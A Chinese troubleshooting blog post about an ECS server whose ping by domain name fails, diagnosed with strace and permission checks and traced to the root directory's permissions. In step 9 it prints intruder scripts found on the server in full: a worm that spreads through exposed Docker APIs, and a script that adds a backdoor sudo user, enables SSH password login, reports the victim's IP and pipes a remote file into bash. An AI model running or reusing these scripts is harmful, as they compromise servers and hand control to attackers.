背景:php
某客戶的ECS,ping域名提示unknown host,ping ip則能夠通,ping的時候抓包沒有解析的包出去,是解析的問題嗎?
1,測試ping域名以及抓包發現沒有dns的解析包出去node
# ping www.baidu.com -c 1 ping: unknown host www.baidu.com # tcpdump -i any port 53 -nnvv tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes
2,測試ping ip dig getent等工做正常git
# ping -c 1 115.239.210.27 PING 115.239.210.27 (115.239.210.27) 56(84) bytes of data. 64 bytes from 115.239.210.27: icmp_seq=1 ttl=55 time=1.87 ms --- 115.239.210.27 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 1.875/1.875/1.875/0.000 ms # getent hosts www.baidu.com 115.239.211.112 www.a.shifen.com www.baidu.com 115.239.210.27 www.a.shifen.com www.baidu.com # dig www.baidu.com +short www.a.shifen.com. 115.239.210.27 115.239.211.112
3,經過上述的測試能夠肯定,並不是dns工做出現了問題,而是ping自己出現了問題spring
4,經過strace跟蹤看下ping命令在運行的過程當中加載文件是否有問題?docker
# strace -e open ping www.baidu.com open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 open("/lib64/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3 open("/lib64/libidn.so.11", O_RDONLY|O_CLOEXEC) = 3 open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 open("/lib64/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3 ...... open("/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) open("/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) open("/lib64/tls/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) open("/lib64/tls/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) open("/lib64/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) open("/lib64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) open("/usr/lib64/tls/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) open("/usr/lib64/tls/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) open("/usr/lib64/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) open("/usr/lib64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) ping: unknown host www.baidu.com +++ exited with 2 +++ 正常的對比(版本不一樣有差別) # strace -e open ping -c 1 www.baidu.com open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 open("/lib64/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3 open("/lib64/libidn.so.11", O_RDONLY|O_CLOEXEC) = 3 open("/lib64/libcrypto.so.10", O_RDONLY|O_CLOEXEC) = 3 open("/lib64/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3 open("/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3 .......
5,提取全部的Permission denied的文件,查看權限(被我精簡了一些)shell
# strace -e open -o p.out ping www.baidu.com |grep -i "Permission denied" p.out| awk -F "\\\"" '{print $2}'|xargs stat File: ‘/usr/lib/locale/locale-archive’ Size: 106065056 Blocks: 207096 IO Block: 4096 regular file Device: fd01h/64769d Inode: 132883 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2019-05-10 21:46:34.523000000 +0800 Modify: 2015-07-13 15:21:14.804155630 +0800 Change: 2015-07-13 15:21:14.804155630 +0800 Birth: - File: ‘/usr/share/locale/locale.alias’ Size: 2502 Blocks: 8 IO Block: 4096 regular file Device: fd01h/64769d Inode: 132816 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2019-05-10 21:48:09.380738442 +0800 Modify: 2015-03-06 05:18:56.000000000 +0800 Change: 2015-07-13 15:21:09.324089405 +0800 Birth: - File: ‘/usr/lib64/gconv/gconv-modules.cache’ Size: 26254 Blocks: 56 IO Block: 4096 regular file Device: fd01h/64769d Inode: 394951 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2019-05-10 21:46:34.878000000 +0800 Modify: 2015-07-13 15:21:15.860168393 +0800 Change: 2015-07-13 15:21:15.860168393 +0800 Birth: - File: ‘/usr/lib64/gconv/gconv-modules’ Size: 56377 Blocks: 112 IO Block: 4096 regular file Device: fd01h/64769d Inode: 394941 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2015-07-13 15:21:15.857168356 +0800 Modify: 2015-03-06 05:18:55.000000000 +0800 Change: 2015-07-13 15:21:15.510164163 +0800 Birth: - File: ‘/etc/resolv.conf’ Size: 109 Blocks: 8 IO Block: 4096 regular file Device: fd01h/64769d Inode: 660033 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2019-05-10 21:50:51.650325504 +0800 Modify: 2019-05-10 21:47:49.650000000 +0800 Change: 2019-05-10 21:47:49.650000000 +0800 Birth: - File: ‘/etc/nsswitch.conf’ Size: 1728 Blocks: 8 IO Block: 4096 regular file Device: fd01h/64769d Inode: 658832 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2019-05-10 21:47:44.965000000 +0800 Modify: 2015-07-13 15:21:28.905326045 +0800 Change: 2015-07-13 15:21:28.905326045 +0800 Birth: - File: ‘/etc/ld.so.cache’ Size: 44226 Blocks: 88 IO Block: 4096 regular file Device: fd01h/64769d Inode: 658829 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2019-05-10 21:46:33.738000000 +0800 Modify: 2019-03-22 00:16:26.262531411 +0800 Change: 2019-03-22 00:16:26.262531411 +0800 Birth: - File: ‘/lib64/libnss_dns.so.2’ -> ‘libnss_dns-2.17.so’ Size: 18 Blocks: 0 IO Block: 4096 symbolic link Device: fd01h/64769d Inode: 151673 Links: 1 Access: (0777/lrwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2019-05-10 21:47:09.952000000 +0800 Modify: 2015-07-13 15:21:15.089159075 +0800 Change: 2015-07-13 15:21:15.089159075 +0800 Birth: - File: ‘/usr/lib64/libnss_dns.so.2’ -> ‘libnss_dns-2.17.so’ Size: 18 Blocks: 0 IO Block: 4096 symbolic link Device: fd01h/64769d Inode: 151673 Links: 1 Access: (0777/lrwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2019-05-10 21:47:09.952000000 +0800 Modify: 2015-07-13 15:21:15.089159075 +0800 Change: 2015-07-13 15:21:15.089159075 +0800 Birth: -
6,對比文件權限也沒有發現明顯的異常,我不由有點麻爪,陷入深深的思考中安全
7,嘗試往被黑的方向排查 ,校驗rpm包,替換ping命令,以及檢查入侵痕跡springboot
# for i in $(rpm -qa);do rpm --verify $i ||echo $i ;done|grep bin |grep -v "node_modules" S.5...... /usr/bin/git S.5...... /usr/bin/git-receive-pack S.5...... /usr/bin/git-shell S.5...... /usr/bin/git-upload-archive S.5...... /usr/bin/git-upload-pack # lsmod Module Size Used by tcp_diag 12591 0 inet_diag 18543 1 tcp_diag dm_mirror 22135 0 ...... ata_piix 35038 0 i2c_core 40325 3 drm,i2c_piix4,drm_kms_helper libata 218854 3 pata_acpi,ata_generic,ata_piix
命令,進程,module都沒有明顯異常bash
8,從新回到問題自己,權限訪問有問題,所以到根目錄下,挨個看權限ssh
# ls -l total 136 -rwxrwxrwx 1 root root 1963 Feb 27 03:38 autom.sh lrwxrwxrwx. 1 root root 7 Nov 21 2014 bin -> usr/bin dr-xr-xr-x. 4 root root 4096 May 10 21:47 boot drwxr-xr-x 19 root root 3040 May 10 21:50 dev drwxr-xr-x. 102 root root 12288 May 10 21:50 etc drwxr-xr-x. 8 root root 4096 Mar 22 00:15 home lrwxrwxrwx. 1 root root 7 Nov 21 2014 lib -> usr/lib lrwxrwxrwx. 1 root root 9 Nov 21 2014 lib64 -> usr/lib64 drwxrwxrwx 2 root root 4096 Jan 29 17:57 logs drwx------. 2 root root 16384 Nov 22 2014 lost+found drwxr-xr-x. 2 root root 4096 Jun 10 2014 media drwxr-xr-x. 3 root root 4096 Oct 23 2015 mnt lrwxrwxrwx 1 root root 9 Oct 23 2015 opt -> /mnt/opt/ drwxrwxr-x 3 root root 4096 Oct 9 2018 path dr-xr-xr-x 93 root root 0 May 10 21:50 proc dr-xr-x---. 30 root root 4096 May 10 23:36 root drwxr-xr-x 30 root root 840 May 10 21:51 run lrwxrwxrwx. 1 root root 8 Nov 21 2014 sbin -> usr/sbin drwxrwxr-x 6 root root 4096 Jan 29 17:54 shell drwxrwxr-x 7 root root 4096 Jan 29 20:20 springbootdemo2 drwxr-xr-x. 2 root root 4096 Jun 10 2014 srv dr-xr-xr-x 13 root root 0 May 11 2019 sys -rwxrwxrwx 1 root root 356 Nov 1 2018 test1.sh -rwxrwxrwx 1 root root 127 Nov 1 2018 test2.sh drwxrwxrwt. 26 root root 40960 May 11 00:10 tmp drwxrwxr-x 3 root root 4096 Dec 22 14:48 Users drwxr-xr-x. 14 root root 4096 Aug 6 2018 usr drwxr-xr-x. 23 root root 4096 May 6 11:31 var
9,對比權限沒有發現問題,發現了幾個腳本,看看腳本是作什麼的
# cat test1.sh test2.sh #!/bin/bash sed -i 's/\r//g' $1 sed -i '/::/g' $1 while read HOSTLINE do echo NOW WORKING ON $HOSTLINE docker -H tcp://$HOSTLINE run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "yum install wget -y;apt-get install wget -y;wget http://51.*.*.146/autom.sh -O /autom.sh;chmod 777 /autom.sh;sh /autom.sh" echo DONE WITH $HOSTLINE sed -i '1d' $1 done <$1 ----------------- #!/bin/bash sed -i 's/\r//g' $1 sed -i '/::/g' $1 while read HOSTLINE do sh test1.sh $1 & sleep 7; sed -i '1d' $1; done <$1 ----------------- # cat autom.sh #!/bin/sh useradd -m -p '$1$tVoMAZYE$s5CynwZ4QuboPD2qVQ0h9/' akay adduser -m -p '$1$tVoMAZYE$s5CynwZ4QuboPD2qVQ0h9/' akay usermod -aG sudoers akay; usermod -aG root akay; sudo adduser akay sudo; echo 'akay ALL=(ALL:ALL) ALL' >> /etc/sudoers; sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config; curl icanhazip.com >/tmp/myip.txt ip=$(cat /tmp/myip.txt) curl http://51.*.*.146/ip.php?ip=$ip /etc/init.d/ssh restart; /etc/init.d/sshd restart; /etc/rc.d/sshd restart; systemctl restart sshd; systemctl restart ssh; apt-get install screen -y yum install screen -y if [ $(dpkg-query -W -f='${Status}' systemd 2>/dev/null | grep -c "ok installed") -eq 0 ]; then apt-get install systemd -y; yum install systemd -y; fi; if [ $(dpkg-query -W -f='${Status}' masscan 2>/dev/null | grep -c "ok installed") -eq 0 ]; then apt-get install masscan -y; yum install masscan -y; fi; if [ $(dpkg-query -W -f='${Status}' iproute2 2>/dev/null | grep -c "ok installed") -eq 0 ]; then apt-get install iproute2 -y; yum install iproute2 -y; fi; curl -s http://51.*.*.146/logo9.jpg | bash -s wget http://51.*.*.146/test1.sh -O test1.sh; wget http://51.*.*.146/test2.sh -O test2.sh; #wget http://51.*.*.146/scanner.sh -O scanner.sh; sleep 2s; chmod 777 test1.sh; chmod 777 test2.sh; sleep 2s; killall xmrig; killall xm; killall proc; killall minergate-cli; killall xmr-stak; pkill -f xmrig; pkill -f xmr-stak; pkill -f xm; kill -9 xmrig; kill -9 xmr-stak; kill -a xmrig; kill -a xmr-stak; kill -a xm; sudo killall minergate-cli; sudo kill -9 minergate-cli; sudo pkill -f minergate-cli; sudo killall proc; sudo kill -9 proc; sudo pkill -f proc; sudo killall xmrig; sudo killall xmr-stak; sudo pkill -f xmrig; sudo pkill -f xmr-stak; sudo kill -9 xmrig; sudo kill -9 xmr-stak; sudo kill -a xmrig; sudo kill -a xmr-stak; systemctl daemon-reload; systemctl stop bashd.service; systemctl disable bashd.service; #sudo sh scanner.sh &
10,原來真的被黑了,建議客戶購買安全應急服務期間,抱着研究的目的繼續看ping的問題
11,靈光一閃,根目錄自身是什麼權限?(不用糾結時間,爲了寫這篇文章我從新作了不少測試)
有問題的機器 # ls -ld / dr--------. 22 root root 4096 May 10 21:47 / 正常的機器 # ls -ld / dr-xr-xr-x. 19 root root 4096 Apr 30 17:33 / # chmod 555 / # ping -c 2 www.baidu.com PING www.a.shifen.com (115.239.210.27) 56(84) bytes of data. 64 bytes from 115.239.210.27: icmp_seq=1 ttl=55 time=1.84 ms 64 bytes from 115.239.210.27: icmp_seq=2 ttl=55 time=1.86 ms --- www.a.shifen.com ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 1.842/1.854/1.866/0.012 ms
大功告成~!
原文連接 本文爲雲棲社區原創內容,未經容許不得轉載。